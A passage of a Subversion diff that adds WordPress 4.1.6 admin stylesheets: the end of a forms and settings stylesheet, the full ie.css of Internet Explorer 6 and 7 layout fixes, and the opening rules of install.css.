+#post-query-submit {
+	margin: 1px 8px 0 0;
+}
+
+.tablenav #changeit,
+.tablenav #delete_all,
+.tablenav #clear-recent-list,
+.wp-filter #delete_all {
+	margin-top: 1px;
+}
+
+.tablenav .actions select {
+	float: left;
+	margin-right: 6px;
+	max-width: 200px;
+}
+
+.ie8 .tablenav .actions select {
+	width: 155px;
+}
+
+.ie8 .tablenav .actions select#cat {
+	width: 200px;
+}
+
+#timezone_string option {
+	margin-left: 1em;
+}
+
+#upload-form label {
+	color: #777;
+}
+
+label,
+#your-profile label + a {
+	vertical-align: middle;
+}
+
+fieldset label,
+#your-profile label + a {
+	vertical-align: middle;
+}
+
+.options-media-php label[for*="_size_"],
+#misc-publishing-actions label {
+	vertical-align: baseline;
+}
+
+#misc-publishing-actions label[for="post_status"]:before {
+	content: '\f173';
+	display: inline-block;
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	left: -1px;
+	padding: 0 5px 0 0;
+	position: relative;
+	top: 0;
+	text-decoration: none !important;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#pass-strength-result {
+	background-color: #eee;
+	border: 1px solid #ddd;
+	float: left;
+	margin: 13px 5px 5px 1px;
+	padding: 3px 5px;
+	text-align: center;
+	width: 200px;
+	display: none;
+}
+
+#pass-strength-result.short {
+	background-color: #ffa0a0;
+	border-color: #f04040;
+}
+
+#pass-strength-result.bad {
+	background-color: #ffb78c;
+	border-color: #ff853c;
+}
+
+#pass-strength-result.good {
+	background-color: #ffec8b;
+	border-color: #fc0;
+}
+
+#pass-strength-result.strong {
+	background-color: #c3ff88;
+	border-color: #8dff1c;
+}
+
+.indicator-hint {
+	padding-top: 8px;
+}
+
+p.search-box {
+	float: right;
+	margin: 0;
+}
+
+.network-admin.themes-php p.search-box {
+	clear: left;
+}
+
+.search-box input[name="s"],
+.tablenav .search-plugins input[name="s"],
+.tagsdiv .newtag {
+	float: left;
+	height: 28px;
+	margin: 0 4px 0 0;
+}
+
+input[type="text"].ui-autocomplete-loading {
+	background: transparent url(../images/loading.gif) no-repeat right center;
+	visibility: visible;
+}
+
+ul#add-to-blog-users {
+	margin: 0 0 0 14px;
+}
+
+.ui-autocomplete-input.open {
+	-webkit-border-bottom-right-radius: 0;
+	border-bottom-right-radius: 0;
+	-webkit-border-bottom-left-radius: 0;
+	border-bottom-left-radius: 0;
+}
+
+.ui-autocomplete {
+	padding: 0;
+	margin: 0;
+	list-style: none;
+	position: absolute;
+	z-index: 10000;
+	-webkit-border-bottom-right-radius: 3px;
+	border-bottom-right-radius: 3px;
+	-webkit-border-bottom-left-radius: 3px;
+	border-bottom-left-radius: 3px;
+	border: 1px solid #aaa;
+	background-color: #efefef;
+}
+
+.ui-autocomplete li {
+	margin-bottom: 0;
+	white-space: nowrap;
+	text-align: left;
+}
+
+.ui-autocomplete li a {
+	display: block;
+	height: 100%;
+	padding: 4px 10px;
+	color: #444;
+}
+
+.ui-autocomplete li a.ui-state-focus {
+	background-color: #ddd;
+	cursor: pointer;
+}
+
+/*------------------------------------------------------------------------------
+  15.0 - Comments Screen
+------------------------------------------------------------------------------*/
+
+.form-table {
+	border-collapse: collapse;
+	margin-top: 0.5em;
+	width: 100%;
+	clear: both;
+}
+
+.form-table,
+.form-table td,
+.form-table th,
+.form-table td p,
+.form-wrap label {
+	font-size: 14px;
+}
+
+.form-table td {
+	margin-bottom: 9px;
+	padding: 15px 10px;
+	line-height: 1.3;
+	vertical-align: middle;
+}
+
+.form-table th,
+.form-wrap label {
+	color: #222;
+	font-weight: normal;
+	text-shadow: none;
+	vertical-align: baseline;
+}
+
+.form-table th {
+	vertical-align: top;
+	text-align: left;
+	padding: 20px 10px 20px 0;
+	width: 200px;
+	line-height: 1.3;
+	font-weight: 600;
+}
+
+.form-table th.th-full {
+	width: auto;
+	font-weight: 400;
+}
+
+.form-table td p {
+	margin-top: 4px;
+	margin-bottom: 0;
+}
+
+.form-table td fieldset label {
+	margin: 0.25em 0 0.5em !important;
+	display: inline-block;
+}
+
+.form-table td fieldset label,
+.form-table td fieldset p,
+.form-table td fieldset li {
+	line-height: 1.4em;
+}
+
+.form-table input.tog,
+.form-table input[type="radio"] {
+	margin-top: -4px;
+	margin-right: 4px;
+	float: none;
+}
+
+.form-table .pre {
+	padding: 8px;
+	margin: 0;
+}
+
+table.form-table td .updated {
+	font-size: 13px;
+}
+
+table.form-table td .updated p {
+	font-size: 13px;
+	margin: 0.3em 0;
+}
+
+/*------------------------------------------------------------------------------
+  18.0 - Users
+------------------------------------------------------------------------------*/
+
+#profile-page .form-table textarea {
+	width: 500px;
+	margin-bottom: 6px;
+}
+
+#profile-page .form-table #rich_editing {
+	margin-right: 5px
+}
+
+#your-profile legend {
+	font-size: 22px;
+}
+
+#display_name {
+	width: 15em;
+}
+
+#createuser .form-field input {
+	width: 25em;
+}
+
+.color-option {
+	display: inline-block;
+	width: 24%;
+	padding: 5px 15px 15px;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	margin-bottom: 3px;
+}
+
+.color-option:hover,
+.color-option.selected {
+	background: #ddd;
+}
+
+.color-palette {
+	width: 100%;
+	border-spacing: 0;
+	border-collapse: collapse;
+}
+.color-palette td {
+	height: 20px;
+	padding: 0;
+	border: none;
+}
+
+.color-option {
+	cursor: pointer;
+}
+
+/*------------------------------------------------------------------------------
+  19.0 - Tools
+------------------------------------------------------------------------------*/
+
+.tool-box .title {
+	margin: 8px 0;
+	font-size: 18px;
+	font-weight: normal;
+	line-height: 24px;
+}
+
+.pressthis {
+	margin: 20px 0;
+}
+
+.pressthis a,
+.pressthis a:hover,
+.pressthis a:focus,
+.pressthis a:active {
+	display: inline-block;
+	position: relative;
+	cursor: move;
+	color: #333;
+	background: #e6e6e6;
+	-webkit-border-radius: 5px;
+	border-radius: 5px;
+	border: 1px solid #b4b4b4;
+	font-style: normal;
+	line-height: 16px;
+	font-size: 14px;
+	text-decoration: none;
+}
+
+.pressthis a:active {
+	outline: none;
+}
+
+.pressthis a:hover:after {
+	-webkit-transform: skew(20deg) rotate(9deg);
+	-ms-transform: skew(20deg) rotate(9deg);
+	transform: skew(20deg) rotate(9deg);
+	-webkit-box-shadow: 0 10px 8px rgba(0, 0, 0, 0.7);
+	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.7);
+}
+
+.pressthis a span {
+	display: inline-block;
+	margin: 0px 0 0;
+	padding: 0px 12px 8px 9px;
+}
+
+.pressthis a span:before {
+	color: #777;
+	font: normal 20px/1 'dashicons';
+	content:'\f157';
+	position: relative;
+	display: inline-block;
+	top: 4px;
+	margin-right: 4px;
+}
+
+.pressthis a:after {
+	content: '';
+	width: 70%;
+	height: 55%;
+	z-index: -1;
+	position: absolute;
+	right: 10px;
+	bottom: 9px;
+	background: transparent;
+	-webkit-transform: skew(20deg) rotate(6deg);
+	-ms-transform: skew(20deg) rotate(6deg);
+	transform: skew(20deg) rotate(6deg);
+	-webkit-box-shadow: 0 10px 8px rgba(0, 0, 0, 0.6);
+	box-shadow: 0 10px 8px rgba(0, 0, 0, 0.6);
+}
+
+/*------------------------------------------------------------------------------
+  20.0 - Settings
+------------------------------------------------------------------------------*/
+
+#utc-time, #local-time {
+	padding-left: 25px;
+	font-style: italic;
+}
+
+.defaultavatarpicker .avatar {
+	margin: 2px 0;
+	vertical-align: middle;
+}
+
+.options-general-php .spinner {
+	float: none;
+	margin: -3px 3px;
+}
+
+.settings-php .language-install-spinner,
+.options-general-php .language-install-spinner {
+	display: inline-block;
+	float: none;
+	margin: -3px 5px 0;
+	vertical-align: middle;
+}
+
+/*------------------------------------------------------------------------------
+  21.0 - Network Admin
+------------------------------------------------------------------------------*/
+
+.form-field #site-address {
+	max-width: 25em;
+}
+
+.form-field #domain {
+	max-width: 22em;
+}
+
+.form-field #site-title,
+.form-field #admin-email,
+.form-field #path,
+.form-field #blog_registered,
+.form-field #blog_last_updated {
+	max-width: 25em;
+}
+
+.form-field #path {
+	margin-bottom: 5px;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+@media screen and ( max-width: 782px ) {
+	/* Input Elements */
+	textarea {
+		-webkit-appearance: none;
+	}
+
+	input[type="text"],
+	input[type="email"],
+	input[type="search"],
+	input[type="password"],
+	input[type="number"] {
+		-webkit-appearance: none;
+		padding: 6px 10px;
+	}
+
+	input.code {
+		padding-bottom: 5px;
+		padding-top: 10px;
+	}
+
+	input[type="checkbox"], .widefat th input[type="checkbox"] {
+		-webkit-appearance: none;
+		padding: 10px;
+	}
+
+	.widefat th input[type="checkbox"] {
+		margin-bottom: 8px;
+	}
+
+	input[type="checkbox"]:checked:before, .widefat th input[type="checkbox"]:before {
+		font: normal 30px/1 'Dashicons';
+		margin: -3px -5px;
+	}
+
+	input[type="radio"],
+	input[type="checkbox"] {
+		height: 25px;
+		width: 25px;
+	}
+
+	.wp-admin p input[type="checkbox"],
+	.wp-admin p input[type="radio"] {
+		margin-top: -3px;
+	}
+
+	input[type="radio"]:checked:before {
+		vertical-align: middle;
+		width: 9px;
+		height: 9px;
+		margin: 7px;
+		line-height: 16px;
+	}
+
+	.wp-upload-form input[type="submit"] {
+		margin-top: 10px;
+	}
+
+	#wpbody select {
+		height: 36px;
+		font-size: 16px;
+	}
+
+	.wp-admin .button-cancel {
+		padding: 0;
+		font-size: 14px;
+	}
+
+	#createuser .form-field input {
+		width: 100%;
+	}
+
+	.form-table {
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing: border-box;
+		box-sizing: border-box;
+	}
+
+	.form-table th,
+	.form-table td {
+		display: block;
+		width: auto;
+		vertical-align: middle;
+	}
+
+	.form-table .color-palette td {
+		display: table-cell;
+		width: 15px;
+	}
+
+	.form-table table.color-palette {
+		margin-right: 10px;
+	}
+
+	textarea,
+	input {
+		font-size: 16px;
+	}
+
+	.form-table td input[type="text"],
+	.form-table td input[type="email"],
+	.form-table td input[type="password"],
+	.form-table td select,
+	.form-table td textarea,
+	.form-table span.description,
+	#profile-page .form-table textarea {
+		width: 100%;
+		font-size: 16px;
+		line-height: 1.5;
+		padding: 7px 10px;
+		display: block;
+		max-width: none;
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing: border-box;
+		box-sizing: border-box;
+	}
+
+	#wpbody .form-table td select {
+		height: 40px;
+	}
+
+	input[type="text"].small-text,
+	input[type="search"].small-text,
+	input[type="password"].small-text,
+	input[type="number"].small-text,
+	input[type="number"].small-text,
+	.form-table input[type="text"].small-text {
+		width: auto;
+		max-width: 55px;
+		display: inline;
+		padding: 3px 6px;
+		margin: 0 3px;
+	}
+
+	#pass-strength-result {
+		width: 100%;
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing: border-box;
+		box-sizing: border-box;
+		padding: 8px;
+	}
+
+	p.search-box {
+		float: none;
+		position: absolute;
+		bottom: 0;
+		width: 98%;
+		height: 90px;
+		margin-bottom: 20px;
+	}
+
+	p.search-box input[name="s"] {
+		height: auto;
+		float: none;
+		width: 100%;
+		margin-bottom: 10px;
+		vertical-align: middle;
+		-webkit-appearance: none;
+	}
+
+	p.search-box input[type="submit"] {
+		margin-bottom: 10px;
+	}
+
+	.form-table span.description {
+		padding: 4px 0 0;
+		line-height: 1.4em;
+	}
+
+	.form-table th {
+		padding-top: 10px;
+		padding-bottom: 0;
+		border-bottom: 0;
+	}
+
+	.form-table td {
+		padding-top: 8px;
+		padding-left: 0;
+	}
+
+	.form-table input.regular-text {
+		width: 100%;
+	}
+
+	.form-table label {
+		font-size: 14px;
+	}
+
+	.form-table fieldset label {
+		display: block;
+	}
+
+	#utc-time {
+		margin-top: 10px;
+	}
+
+	#utc-time,
+	#local-time {
+		display: block;
+		float: none;
+		padding: 0;
+		line-height: 2;
+	}
+
+	.form-field #domain {
+		max-width: none;
+	}
+}
+
+@media only screen and (max-width: 768px) {
+	.form-field input[type="text"],
+	.form-field input[type="email"],
+	.form-field input[type="password"],
+	.form-field select,
+	.form-field textarea {
+		width: 99%;
+	}
+
+	.form-wrap .form-field {
+		padding:0;
+	}
+
+	/* users */
+	#profile-page .form-table textarea {
+		max-width: 400px;
+		width: auto;
+	}
+}
+
+/* Smartphone */
+@media screen and (max-width: 600px) {
+	/* Color Picker Options */
+	.color-option {
+		width: 49%;
+	}
+}
+
Index: /tags/4.1.6/src/wp-admin/css/ie.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/ie.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/ie.css	(revision 33402)
@@ -0,0 +1,785 @@
+/* Fixes for IE 7 bugs */
+
+#dashboard-widgets form .input-text-wrap input,
+#dashboard-widgets form .textarea-wrap textarea {
+	width: 99%;
+}
+
+#dashboard-widgets form #title {
+	width: 98%;
+}
+
+#wpbody-content #dashboard-widgets .postbox-container {
+	width: 49.5%;
+}
+
+#wpbody-content #dashboard-widgets #postbox-container-2,
+#wpbody-content #dashboard-widgets #postbox-container-3,
+#wpbody-content #dashboard-widgets #postbox-container-4 {
+	float: right;
+	width: 50.5%;
+}
+
+#dashboard-widgets #postbox-container-3 .empty-container,
+#dashboard-widgets #postbox-container-4 .empty-container {
+	border: 0 none;
+	height: 0;
+	min-height: 0;
+}
+
+.wp-editor-wrap .wp-editor-tools,
+.wp-editor-wrap .wp-switch-editor,
+.wp-editor-wrap .wp-editor-tabs,
+.wp-editor-wrap .wp-editor-container {
+	zoom: 100%;
+}
+
+.wp-editor-wrap .wp-editor-container textarea.wp-editor-area {
+	width: 97%;
+}
+
+#post-body.columns-2 #postbox-container-1 {
+	padding-left: 19px;
+}
+
+.welcome-panel .wp-badge {
+	position: absolute;
+}
+
+.welcome-panel .welcome-panel-column:first-child {
+	width: 35%;
+}
+
+.wp-fullscreen-title {
+	width: 97%;
+}
+
+#wp_mce_fullscreen_ifr {
+	background-color: #f9f9f9;
+}
+
+#wp-fullscreen-tagline {
+	color: #888;
+	font-size: 14px;
+}
+
+#adminmenuback {
+	left: 0;
+	background-image: none;
+}
+
+#adminmenuwrap {
+	position: static;
+}
+
+#adminmenu {
+	position: relative;
+}
+
+#adminmenu,
+#adminmenu a {
+	cursor: pointer;
+}
+
+#adminmenu li.wp-menu-separator,
+#adminmenu li.wp-menu-separator-last {
+	font-size: 1px;
+	line-height: 1;
+}
+
+#adminmenu a.menu-top {
+	border-bottom: 0 none;
+	border-top: 1px solid #ddd;
+}
+
+#adminmenu .separator {
+	font-size: 1px;
+	line-height: 1px;
+}
+
+#adminmenu .wp-submenu {
+	left: 110px;
+}
+
+#adminmenu .wp-submenu ul {
+	margin: 0;
+}
+
+.folded #wpcontent,
+.folded #wpfooter {
+	margin-left: 170px;
+}
+
+.folded #adminmenuback,
+.folded #adminmenuwrap,
+.folded #adminmenu,
+.folded #adminmenu li.menu-top {
+	width: 150px;
+}
+
+.folded #adminmenu .wp-submenu {
+	border-top-color: transparent;
+}
+
+.folded #adminmenu .wp-menu-name {
+	display: block;
+}
+
+.folded #adminmenu .wp-submenu.sub-open,
+.folded #adminmenu .opensub .wp-submenu {
+	left: 110px;
+}
+
+.folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu {
+	top: -1px;
+	position: relative;
+}
+
+.folded #adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head {
+	background-color: transparent;
+}
+
+#adminmenu .wp-submenu .wp-submenu-head {
+	border-top-color: #ddd;
+}
+
+.folded #adminmenu .wp-submenu ul {
+	margin-left: 5px;
+}
+
+#adminmenu li.menu-top {
+	margin-bottom: -2px;
+}
+
+#adminmenu .wp-menu-arrow {
+	display: none !important;
+}
+
+.js.folded #adminmenu li.menu-top {
+	display: block;
+	zoom: 100%;
+}
+
+ul#adminmenu {
+	z-index: 99;
+}
+
+#adminmenu li.menu-top a.menu-top {
+	min-width: auto;
+	width: auto;
+}
+
+#wpcontent #adminmenu li.wp-has-current-submenu a.wp-has-submenu {
+	font-style: normal;
+}
+
+#wpcontent #adminmenu .wp-submenu li {
+	padding: 0;
+}
+
+#adminmenu li.wp-has-current-submenu .wp-submenu {
+	left: -40px;
+}
+
+#adminmenu .wp-menu-image {
+	display: none !important;
+}
+
+#adminmenu a.menu-top .wp-menu-name {
+	padding-left: 8px;
+}
+
+#collapse-menu {
+	line-height: 23px;
+}
+
+#wpadminbar .ab-comments-icon {
+	padding-top: 7px;
+}
+
+
+.theme-browser .theme {
+	width: 30%;
+	margin: 0 3% 4% 0;
+	cursor: auto;
+}
+
+.theme-browser .theme:hover,
+.theme-browser .theme:focus {
+	cursor: auto;
+}
+
+.theme-browser .theme .theme-screenshot {
+	height: 180px;
+}
+
+.theme-browser .theme .theme-actions {
+	position: static;
+	background-color: #e8e8e8;
+}
+
+.theme-browser .theme .more-details {
+	display: none;
+}
+
+.plugins td,
+.plugins th {
+	border-top: 1px solid #ddd;
+}
+
+table.fixed th,
+table.fixed td {
+	border-top: 1px solid #ddd;
+}
+
+#wpbody-content input.button,
+#wpbody-content input.button-primary,
+#wpbody-content input.button-secondary {
+	overflow: visible;
+}
+
+#dashboard-widgets h3 a {
+	height: 14px;
+	line-height: 14px;
+}
+
+#dashboard_browser_nag {
+	color: #fff;
+}
+
+#dashboard_browser_nag .browser-icon {
+	position: relative;
+}
+
+.tablenav-pages .current-page {
+	vertical-align: middle;
+}
+
+#wpbody-content .postbox {
+	border: 1px solid #dfdfdf;
+}
+
+#wpbody-content .postbox .hndle {
+	margin-bottom: -1px;
+}
+
+.major-publishing-actions,
+.wp-submenu,
+.wp-submenu li,
+#template,
+#template div,
+#editcat,
+#addcat {
+	zoom: 100%;
+}
+
+.wp-menu-arrow {
+	height: 28px;
+}
+
+.submitbox {
+	margin-top: 10px;
+}
+
+/* Inline Editor */
+#wpbody-content .quick-edit-row-post .inline-edit-col-left {
+	width: 39%;
+}
+
+#wpbody-content .inline-edit-row-post .inline-edit-col-center {
+	width: 19%;
+}
+
+#wpbody-content .quick-edit-row-page .inline-edit-col-left {
+	width: 49%;
+}
+
+#wpbody-content .bulk-edit-row .inline-edit-col-left {
+	width: 29%;
+}
+
+.inline-edit-row p.submit {
+	zoom: 100%;
+}
+
+.inline-edit-row fieldset label span.title {
+	display: block;
+	float: left;
+	width: 5em;
+}
+
+.inline-edit-row fieldset label span.input-text-wrap {
+	margin-left: 0;
+	zoom: 100%;
+}
+
+#wpbody-content .inline-edit-row fieldset label span.input-text-wrap input {
+	line-height: 130%;
+}
+
+#wpbody-content .inline-edit-row .input-text-wrap input {
+	width: 95%;
+}
+
+#wpbody-content .inline-edit-row .input-text-wrap input.inline-edit-password-input {
+	width: 8em;
+}
+/* end Inline Editor */
+
+#titlediv #title {
+	width: 98%;
+}
+
+.button,
+input[type="reset"],
+input[type="button"],
+input[type="submit"] {
+	padding: 0 8px;
+	line-height: 20px;
+	height: auto;
+}
+
+.button.button-large,
+input[type="reset"].button-large,
+input[type="button"].button-large,
+input[type="submit"].button-large {
+	padding: 0 10px;
+	line-height: 24px;
+	height: auto;
+}
+
+.button.button-small,
+input[type="reset"].button-small,
+input[type="button"].button-small,
+input[type="submit"].button-small {
+	padding: 0 6px;
+	line-height: 16px;
+	height: auto;
+}
+
+a.button {
+	margin: 1px;
+	padding: 1px 9px 2px;
+}
+
+a.button.button-large {
+	padding: 1px 11px 2px;
+}
+
+a.button.button-small {
+	padding: 1px 7px 2px;
+}
+
+#screen-options-wrap {
+	overflow: hidden;
+}
+
+#the-comment-list .comment-item,
+#post-status-info,
+#wpwrap,
+#wrap,
+#postdivrich,
+#postdiv,
+#poststuff,
+.metabox-holder,
+#titlediv,
+#post-body,
+#editorcontainer,
+.tablenav,
+.widget-liquid-left,
+.widget-liquid-right,
+#widgets-left,
+.widgets-sortables,
+#dragHelper,
+.widget .widget-top,
+.widget-control-actions,
+.tagchecklist,
+#col-container,
+#col-left,
+#col-right,
+.fileedit-sub {
+	display: block;
+	zoom: 100%;
+}
+
+p.search-box {
+	position: static;
+	float: right;
+	margin: -3px 0 4px;
+}
+
+#widget-list .widget,
+.feature-filter .feature-group li {
+	display: inline;
+}
+
+.feature-filter .feature-group li input {
+	vertical-align: middle;
+}
+
+#editorcontainer #content {
+	overflow: auto;
+	margin: auto;
+	width: 98%;
+}
+
+form#template div {
+	width: 100%;
+}
+
+.wp-editor-container .quicktags-toolbar input {
+	overflow: visible;
+	padding: 0 4px;
+}
+
+#poststuff h2 {
+	font-size: 1.6em;
+}
+
+#poststuff .inside #parent_id,
+#poststuff .inside #page_template,
+.inline-edit-row #post_parent,
+.inline-edit-row select[name="page_template"] {
+	width: 250px;
+}
+
+#submitdiv input,
+#submitdiv select,
+#submitdiv a.button {
+	position: relative;
+}
+
+#bh {
+	margin: 7px 10px 0 0;
+	float: right;
+}
+
+/* without this dashboard widgets appear in one column for some screen widths */
+div#dashboard-widgets {
+	padding-right: 1px;
+}
+
+.tagchecklist span, .tagchecklist span a {
+	display: inline-block;
+	display: block;
+}
+
+.tablenav .button-secondary,
+.nav .button-secondary {
+	padding-top: 2px;
+	padding-bottom: 2px;
+}
+
+.tablenav select {
+	font-size: 13px;
+	display: inline-block;
+	vertical-align: top;
+	margin-top: 2px;
+}
+
+.tablenav .actions select {
+	width: 155px;
+}
+
+.subsubsub li {
+	display: inline;
+}
+
+a.post-state-format {
+	text-indent: 0;
+	line-height: 0;
+	font-size: 0;
+}
+
+table.ie-fixed {
+	table-layout: fixed;
+}
+
+.widefat tr,
+.widefat th {
+	margin-bottom: 0;
+	border-spacing: 0;
+}
+
+.widefat th input {
+	margin: 0 0 0 5px;
+}
+
+.widefat thead .check-column,
+.widefat tfoot .check-column {
+	padding-top: 6px;
+}
+
+.widefat tbody th.check-column,
+.media.widefat tbody th.check-column {
+	padding: 4px 0 0;
+}
+
+.widefat {
+	empty-cells: show;
+	border-collapse: collapse;
+}
+
+.tablenav a.button-secondary {
+	display: inline-block;
+	padding: 2px 5px;
+}
+
+.inactive-sidebar .widgets-sortables {
+	padding-bottom: 8px;
+}
+
+#available-widgets .widget-holder {
+	padding-bottom: 65px;
+}
+
+#widgets-left .inactive {
+	padding-bottom: 10px;
+}
+
+.widget-liquid-right .widget,
+.inactive-sidebar .widget {
+	position: relative;
+}
+
+.inactive-sidebar .widget {
+	display: block;
+	float: left;
+}
+
+#wpcontent .button-primary-disabled {
+	color: #9FD0D5;
+	background: #298CBA;
+}
+
+#the-comment-list .unapproved tr,
+#the-comment-list .unapproved td {
+	background-color: #ffffe0;
+}
+
+.imgedit-submit {
+	width: 300px;
+}
+
+#nav-menus-frame,
+#wpbody,
+.menu li {
+	zoom: 100%;
+}
+
+#update-nav-menu #post-body {
+	overflow:hidden;
+}
+
+.menu li {
+	min-width: 100%;
+}
+
+.menu li.sortable-placeholder {
+	min-width: 400px;
+}
+
+.available-theme {
+	display: inline;
+}
+
+.available-theme ul {
+	margin: 0;
+}
+
+.available-theme .action-links li {
+	padding-right: 7px;
+	margin-right: 7px;
+}
+
+.about-wrap .three-col.about-updates .col-2 {
+	width: 15%;
+}
+
+.about-wrap .about-password-meter input {
+	width: 98%;
+}
+
+.revisions-tickmarks,
+.revisions-tooltip {
+	display: none !important;
+}
+
+.revisions.pinned .revisions-controls {
+	position: relative;
+}
+
+input[type="password"],
+.login form .input {
+	font-family: sans-serif;
+}
+
+/* TinyMCE icons */
+.mce-btn i.mce-i-bold,
+.mce-btn i.mce-i-italic,
+.mce-btn i.mce-i-bullist,
+.mce-btn i.mce-i-numlist,
+.mce-btn i.mce-i-blockquote,
+.mce-btn i.mce-i-alignleft,
+.mce-btn i.mce-i-aligncenter,
+.mce-btn i.mce-i-alignright,
+.mce-btn i.mce-i-link,
+.mce-btn i.mce-i-unlink,
+.mce-btn i.mce-i-wp_more,
+.mce-btn i.mce-i-strikethrough,
+.mce-btn i.mce-i-spellchecker,
+.mce-btn i.mce-i-fullscreen,
+.mce-btn i.mce-i-wp_fullscreen,
+.mce-btn i.mce-i-wp_adv,
+.mce-btn i.mce-i-underline,
+.mce-btn i.mce-i-alignjustify,
+.mce-btn i.mce-i-forecolor,
+.mce-btn i.mce-i-pastetext,
+.mce-btn i.mce-i-pasteword,
+.mce-btn i.mce-i-removeformat,
+.mce-btn i.mce-i-charmap,
+.mce-btn i.mce-i-outdent,
+.mce-btn i.mce-i-indent,
+.mce-btn i.mce-i-undo,
+.mce-btn i.mce-i-redo,
+.mce-btn i.mce-i-help,
+.mce-btn i.mce-i-wp_help,
+.mce-btn i.mce-i-wp-media-library,
+.mce-btn i.mce-i-ltr,
+.mce-btn i.mce-i-wp_page,
+.mce-btn i.mce-i-hr,
+.mce-close {
+	font-family: 'tinymce', Arial;
+	font-style: normal;
+	font-weight: normal;
+	font-variant: normal;
+	font-size: 16px;
+	margin-left: 0;
+	padding-right: 0;
+}
+
+.mce-btn i.mce-i-wp_fullscreen,
+.qt-fullscreen {
+	-ie7-icon: '\e023';
+}
+
+.mce-btn i.mce-i-wp_more,
+.mce-btn i.mce-i-wp_page {
+	-ie7-icon: '\e027';
+}
+
+.mce-btn i.mce-i-wp_adv {
+	background-color: #aaa;
+}
+
+.mce-btn i.mce-i-help,
+.mce-btn i.mce-i-wp_help {
+	-ie7-icon: '\e016';
+}
+
+
+/* IE6 leftovers */
+* html .row-actions {
+	visibility: visible;
+}
+
+* html div.widget-liquid-left,
+* html div.widget-liquid-right {
+	display: block;
+	position: relative;
+}
+
+* html #editorcontainer {
+	padding: 0;
+}
+
+* html #poststuff h2 {
+	margin-left: 0;
+}
+
+* html .stuffbox,
+* html .stuffbox input,
+* html .stuffbox textarea {
+	border: 1px solid #DFDFDF;
+}
+
+* html .feature-filter .feature-group li {
+	width: 145px;
+}
+
+* html div.widget-liquid-left {
+	width: 99%;
+}
+
+* html .widgets-sortables {
+	height: 50px;
+}
+
+* html a#content_resize {
+	right: -2px;
+}
+
+* html .widget-title h4 {
+	width: 205px;
+}
+
+* html #removing-widget .in-widget-title {
+	display: none;
+}
+
+* html .media-item .pinkynail {
+	height: 32px;
+	width: 40px;
+}
+
+* html .describe .field input.text,
+* html .describe .field textarea {
+	width: 440px;
+}
+
+* html input {
+	border: 1px solid #dfdfdf;
+}
+
+* html .edit-box {
+	display: inline;
+}
+
+* html .postbox-container .meta-box-sortables {
+	height: 300px;
+}
+
+* html #wpbody-content #screen-options-link-wrap {
+	display: inline-block;
+	width: 150px;
+	text-align: center;
+}
+
+* html #wpbody-content #contextual-help-link-wrap {
+	display: inline-block;
+	width: 100px;
+	text-align: center;
+}
+
+* html #adminmenu {
+	margin-left: -80px;
+}
+
+* html .folded #adminmenu {
+	margin-left: -22px;
+}
+
+* html #wpcontent #adminmenu li.menu-top {
+	display: inline;
+	padding: 0;
+	margin: 0;
+}
+
+* html #wpfooter {
+	margin: 0;
+}
+
+* html #adminmenu div.wp-menu-image {
+	height: 29px;
+}
Index: /tags/4.1.6/src/wp-admin/css/install.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/install.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/install.css	(revision 33402)
@@ -0,0 +1,389 @@
+html {
+	background: #f1f1f1;
+	margin: 0 20px;
+}
+
+body {
+	background: #fff;
+	color: #444;
+	font-family: "Open Sans", sans-serif;
+	margin: 140px auto 25px;
+	padding: 20px 20px 10px 20px;
+	max-width: 700px;
+	-webkit-font-smoothing: subpixel-antialiased;
+	-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+	box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+}
+
+a {
+	color: #0074a2;
+	text-decoration: none;
+}
+
+a:hover {
+	color: #2ea2cc;
+}
+
+h1 {
+	border-bottom: 1px solid #dedede;
+	clear: both;
+	color: #666;
+	font-size: 24px;
+	margin: 30px 0;
+	padding: 0;
+	padding-bottom: 7px;
+	font-weight: normal;
+}
+
+h2 {
+	font-size: 16px;
+}
+
+p, li, dd, dt {
+	padding-bottom: 2px;
+	font-size: 14px;
+	line-height: 1.5;
+}
+
+code, .code {
+	font-family: Consolas, Monaco, monospace;
+}
+
+ul, ol, dl {
+	padding: 5px 5px 5px 22px;
+}
+
+a img {
+	border:0
+}
+abbr {
+	border: 0;
+	font-variant: normal;
+}
+
+label {
+	cursor: pointer;
+}
+
+#logo {
+	margin: 6px 0 14px 0;
+	border-bottom: none;
+	text-align:center
+}
+#logo a {
+	background-image: url(../images/w-logo-blue.png?ver=20131202);
+	background-image: none, url(../images/wordpress-logo.svg?ver=20131107);
+	-webkit-background-size: 84px;
+	background-size: 84px;
+	background-position: center top;
+	background-repeat: no-repeat;
+	color: #999;
+	height: 84px;
+	font-size: 20px;
+	font-weight: normal;
+	line-height: 1.3em;
+	margin: -130px auto 25px;
+	padding: 0;
+	text-decoration: none;
+	width: 84px;
+	text-indent: -9999px;
+	outline: none;
+	overflow: hidden;
+	display: block;
+}
+.step {
+	margin: 20px 0 15px;
+}
+.step, th {
+	text-align: left;
+	padding: 0;
+}
+.language-chooser.wp-core-ui .step .button.button-large {
+	height: 36px;
+	vertical-align: middle;
+	font-size: 14px;
+}
+textarea {
+	border: 1px solid #dfdfdf;
+	font-family: "Open Sans", sans-serif;
+	width: 100%;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.form-table {
+	border-collapse: collapse;
+	margin-top: 1em;
+	width: 100%;
+}
+
+.form-table td {
+	margin-bottom: 9px;
+	padding: 10px 20px 10px 0;
+	border-bottom: 8px solid #fff;
+	font-size: 14px;
+	vertical-align: top
+}
+
+.form-table th {
+	font-size: 14px;
+	text-align: left;
+	padding: 16px 20px 10px 0;
+	width: 140px;
+	vertical-align: top;
+}
+
